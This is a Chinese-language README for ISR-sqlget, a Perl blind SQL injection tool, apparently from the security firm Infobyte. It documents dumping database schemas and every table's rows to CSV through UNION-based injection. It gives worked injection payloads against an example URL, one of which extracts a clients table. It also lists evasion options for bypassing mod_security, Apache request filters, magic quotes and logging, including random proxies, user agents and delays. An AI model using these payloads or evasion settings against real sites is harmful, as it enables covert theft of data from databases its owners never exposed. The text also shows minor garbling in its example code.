-- ISR - Infobyte 安全研究 -- | ISR-sqlget | www.infobytesec.com |
..:: 描述
ISR-sqlget:一款用 Perl 开发的盲 SQL 注入工具。 它可以获取数据库模式和表行数据。 通过单个 GET/POST 请求,您可以悄无声息地访问数据库结构, 并通过单个 GET/POST 请求将每个表的所有行导出为 csv 格式文件。
支持的数据库:
- IBM DB2
- Microsoft SQL Server
- Oracle
- Postgres
- Mysql
- IBM Informix
- Sybase
- Hsqldb (www.hsqldb.org)
- Mimer (www.mimer.com)
- Pervasive (www.pervasive.com)
- Virtuoso (virtuoso.openlinksw.com)
- SQLite
- Interbase/Yaffil/Firebird (Borland)
- H2 (http://www.h2database.com)
- Mckoi (http://mckoi.com/database/)
- Ingres (http://www.ingres.com)
- MonetDB (http://www.monetdb.nl)
- MaxDB (www.mysql.com/products/maxdb/)
- ThinkSQL (http://www.thinksql.co.uk/)
- SQLBase (http://www.unify.com)
规避功能:
- 全角/半角 Unicode 编码
- Apache 非标准 CR 绕过
- mod_security 绕过
- 随机大写请求转换
- PHP Magicquotes:使用数据库 CHR 函数或类似函数对每个字符串进行编码
- 将请求转换为十六进制值
- 使用 /**/ 或 (\t) 制表符避免非空格替换
- 使用数据库 concat 函数或类似函数避免非 || 或 + 连接
- 随机用户代理
- 随机代理服务器
- 随机请求延迟
常用功能:
- 数据库模式下载黑名单
- Cookie 数组支持
- SSL 支持
- 代理服务器支持
- 以 csv 格式导出数据库信息
报告:
- 数据库结构图形化,用于生成高影响力高管报告
需要 Graphviz 库 (http://www.graphviz.org/)
..:: 用法
该工具需要以下信息:
可能的 ACTION 有:
第一步:
1. 获取数据库模式。
然后:
2.a 获取表行数据(csv 格式)。
2.b 获取数据库模式图形。
..:: 示例:
目标: http://target.infobytesec.com/helloworld.php?id=
helloworld.php 源码:
"; while ($tr = $database->fetch_row()) { print ""; print $tr['name']; print ""; } print ""; ?>读取会话示例(配置文件): ./helloworld.pm
获取数据库模式:
; bash# ./ISR-sqlget.pl -s -n helloworld ; -------------------------------------------------- ; Action: Get dbschema, Session name: helloworld ; -------------------------------------------------- ; ; http://target.infobytesec.com/helloworld.php?id=,id=1 union select 1,COALESCE((select nspname from pg_namespace ; where a.relnamespace =pg_namespace.oid),'0'::text)||'[]'||COALESCE(relname,'0'::text)||'[]'||COALESCE(attname,'0'::text); ; ||'[__]'||COALESCE((select typname from pg_type where oid=b.atttypid),'0'::text) from (pg_attribute b JOIN pg_class a ON ; (a.oid = b.attrelid)) where (attnum > 0 and ((a.relkind = 'r'::"char") OR (a.relkind = 's'::"char"))) --' ; from sqlite_master where type='table' --,GET ; ; bash#
这会在本地生成一个模式文件: ./template/helloworld.dbschema
然后获取表行数据:
; bash# ./ISR-sqlget.pl -d -n helloworld ;-------------------------------------------------- ;Action: Get DBDATA, Session name: helloworld ;-------------------------------------------------- ;-------------------------------------------------- ;Action: Get DBDATA, Session name: helloworld, DbSchema: helloworld.dbschema ;-------------------------------------------------- ;------------------------------------------------------------------------------------------------------------------------------------------------------ ;http://target.infobyte.com.ar/helloworld.php?id=,id=1 union all select id||'[]'||name||'[]'||address from ;company.clients --,GET ;Save source table: ./datos/helloworld.company.clients.sql.html ;Save csv table: ./datos/helloworld.company.clients.csv ;------------------------------------------------------------------------------------------------------------------------------ ;.....
在 "./datos/" 目录下,每个表将生成两个文件,如下所示:
[sessionname].[database].[table].sql.html # html 源码 [sessionname].[database].[table].csv # 逗号分隔值
请注意,"./datos" 可以通过会话配置文件中的 $conf::outputdb 参数指定。
..:: 高级
该工具在 SELECT SQL 查询中仅使用一种列类型 text/varchar 等。 使用 UNION 语句,您可以"在该列中"使用 "[__]" 作为分隔符获取整个数据库模式。
当您已经保存了本地数据库模式后,您将能够:
1.a 获取表行数据: 使用相同的技术,您可以获取数据库中每个表的所有行, 与 text 不兼容的数据类型列将使用数据库自身的函数转换为 text 数据类型。
1.b 获取数据库模式图形。
该工具为每个操作使用一个会话配置文件。 该配置文件定义了利用 SQL 注入所需的参数。 参数 @conf::path 指定了原始 html 的解析方式,以便工具进行处理。
帮助详情:
Usage: ./ISR-sqlget.pl [ACTION] [OPTIONS]
Action: -c: 检查解析器模块 -t: 获取测试页面 -a: 获取所有数据库名称(仅 mssql) -s: 获取数据库结构 -d: 获取数据库信息(csv 格式) -g: 数据库结构图形(gif 格式)
Options: -n: 会话名称 -p: (与 -c 操作一起使用,指定用于检查模块的 src 页面); 默认 ./template/$SESSION.testpage -v: 详细输出 -h: 帮助
-t: 使用会话文件获取一个简短的数据库系统表,用于 配合 "-c" 操作解析原始 html。
-c: 默认使用 ./template/[session-name].testpage。用于开发和测试 原始 html 解析器。 您可以使用 "-p" 选项选择其他 html 文件。
-a: 所有数据库引擎都按以下顺序获取表行数据: 1. "-s" 获取结构(将数据库模式保存到本地文件中)。 2. "-d" 获取表数据。
由于 MSSQL 系统表的原因,我们需要添加一个前置步骤:
1. "-a" 获取 /schema/catalog 中的所有数据库名称(将名称保存到本地文件中)。
2. "-s" 获取结构(将数据库模式保存到本地文件中)。
3. "-d" 获取表数据。
-s: 获取结构(将数据库模式保存到本地文件中)。
-d: 获取表数据。
-g: 使用之前获取的本地数据库模式文件来 生成数据库结构图形(gif 格式)
-n: 指定会话配置文件的名称。
..:: 备注
./pmschanges.txt:我们使用了修改版的 LWP、Net::HTTP,其中包含方法和 CRL 规范 该文件解释了这些修改。
./dbs/isr_*:每个数据库模块都有 @space 变量,用于指定有效空格类型。 示例: my @space=(' ',"\t","/**/"); #所有空格
..:: 会话文件选项:
@conf::path #参数 @conf::path 指定了原始 html 的解析方式,以便工具进行处理。 #它使用嵌入的 perl 代码和 HTML::TreeBuilder 来解析原始 html #第一个配置是一个包含所需 html 标签名称的树数组。 最后一个 html 标签名称使用 perl 代码处理。
参见 ./examples/ 中的示例 example[n].html session[n].pm
$conf::site #存在漏洞应用的位置
$conf::script #存在漏洞的脚本文件
$conf::method #方法 'POST', 'GET', 'HELLO', '\r\n\r\n\r\n\r\n\r\n' (apache 方法绕过)
$conf::inj #包含 UNION 语句的 POST/GET 参数 #它使用变量,这些变量稍后会被替换为动态信息。
变量:
<VALUE> = 用于获取所有信息的列。
<TABLE> = 表部分。
<WHERE> = Where 部分。
<TAIL> = SQL 语句的最后部分。
示例: "id=1') union select <VALUE>,'a' from <TABLE> <WHERE> <TAIL> --";
$conf::where #如果您需要在 union 表中添加一些例外,则必须使用此参数, #因为有些数据库结构查询已包含 "WHERE"
$conf::tail #SQL 语句的最后部分。 $conf::param #参数样式 = Post 样式 1, Url 样式 0 Post 样式= ;root@isr-slackware:~/dev# telnet localhost 80 ;Trying 127.0.0.1... ;Connected to localhost. ;Escape character is '^]'. ;GET http://site/aaa.php HTTP/1.0 ;id=aaa
Url 样式:
;root@isr-slackware:~/dev# telnet localhost 80
;Trying 127.0.0.1...
;Connected to localhost.
;Escape character is '^]'.
;GET http://site/aaa.php?id=aaa HTTP/1.0
$conf::dbtype #数据库后端
1 - Oracle
2 - Microsoft SQL Server
3 - Mysql
4 - Postgres
5 - IBM DB2
6 - Interbase/Yaffil/Firebird (Borland)
7 - Mimer (www.mimer.com)
8 - Virtuoso (virtuoso.openlinksw.com)
9 - Pervasive (www.pervasive.com)
10 - Hsqldb (www.hsqldb.org)
11 - SQLite
12 - IBM Informix
13 - Sybase
14 - H2 (http://www.h2database.com)
15 - Mckoi (http://mckoi.com/database/)
16 - Ingres (http://www.ingres.com)
17 - MonetDB (http://www.monetdb.nl)
18 - MaxDB (www.mysql.com/products/maxdb/)
19 - ThinkSQL (http://www.thinksql.co.uk/)
20 - SQLBase (http://www.unify.com)
$conf::session #会话名称(您必须使用与会话配置文件相同的名称,不带 .pm 扩展名) $conf::outputdb #导出表行数据的路径
######### 代理 $conf::proxy_host #代理支持示例: 'http://user:pass@host:port/'; $conf::rproxy #随机代理 1 启用或 0 禁用 $conf::rproxyfile #随机代理文件(使用与 $conf::proxy_host 相同的格式)
######### 过滤器 $conf::space #空格规避:0 启用空格,1 将空格 ' ' 替换为制表符 '\t',或 #2 将空格 ' ' 替换为注释 '/**/'
$conf::apache_espace #您可以在 HTTP/s 请求中指定 CR 值
#示例:
$conf::apache_espace_rnd=1; #随机组合 CR 0x0b, 0x0c, 0x0d $conf::apache_espace_rmaxn=10; #最大随机字符数 #在此示例中,我们随机化 CR(0x0b, 0x0c, 0x0d)从 1 到 10: #参考: http://www.osvdb.org/25837
$conf::mod_security #1 启用绕过 modsecurity <= 2.1.0 和 (=>PHP 5.2.0||PERL||Python) #参考: http://www.php-security.org/MOPB/BONUS-12-2007.html
$conf::full_width #1 启用绕过全角编码 $conf::ruseragent #1 启用使用随机用户代理 $conf::ruseragentfile #用户代理文件列表 $conf::uagent #默认用户代理 $conf::delay #连接之间的延迟 $conf::rdelay #1 启用连接之间的随机最大延迟,使用 $conf:delay 作为最大值。 $conf::magicquotes #1 启用规避 magicquotes(在每个数据库中使用 CHR 函数或类似函数) $conf::convertall_hex #1 将每个参数值转换为十六进制格式 (%41,%61) $conf::rnd_uppercase #1 启用随机大写转换。
######## 仅 mssql 过滤器 $conf::scape_plas #1 启用,在脚本无法接收 '+' 时使用 CONCAT 函数 #(用作字符串连接) $conf::convertall_str #1 启用将所有列转换为字符串(推荐) $conf::scape_output_less #1 启用,在脚本无法发送 '|' 时使用数据库函数替换
######## 仅 oracle/db2/virtuoso/h2/mckoi/ingres/monetdb/maxdb/thinksql 过滤器 $conf::scape_pipe #在脚本无法接收 '|' 时使用 CONCAT 函数或类似函数(用作字符串连接)
$conf::deny_dbname #包含不处理的数据库名称的数组(黑名单) 示例值 = {'WMSYS' => 1, 'SYS' => 1 };
#Cookie $conf::cookie #1 启用 cookie 数组 @conf::cookies #要使用的 cookie 数组 示例值 = ( { version=>undef, key=>'valu1', val=>'password', path=>'', domain=>'', port=>undef, path_spec=>undef, secure=>undef, maxage=>undef, discard=>undef, rest=>undef });
#图形选项(更多信息参见 GraphViz perl 模块帮助) $conf::graphdir = './graph/'; #图形文件的目标目录 $conf::glayout = 'dot'; $conf::grootcolor='crimson'; $conf::gdbcolor='darkgreen'; $conf::gtablecolor='olivedrab1'; $conf::gcolumncolor='lightblue2'; $conf::gcolumn=0; #0= 不绘制列 1= 绘制列
..:: 要求
1 - Perl 模块: LWP::UserAgent HTTP::Cookies; Convert::EastAsianWidth Data::Dump GraphViz
2 - 库 GraphViz 项目 (http://www.graphviz.org/)
..:: 下载
http://www.infobytesec.com/development.html
..:: 作者 Francisco Amato famato+at+infobytesec+dot+com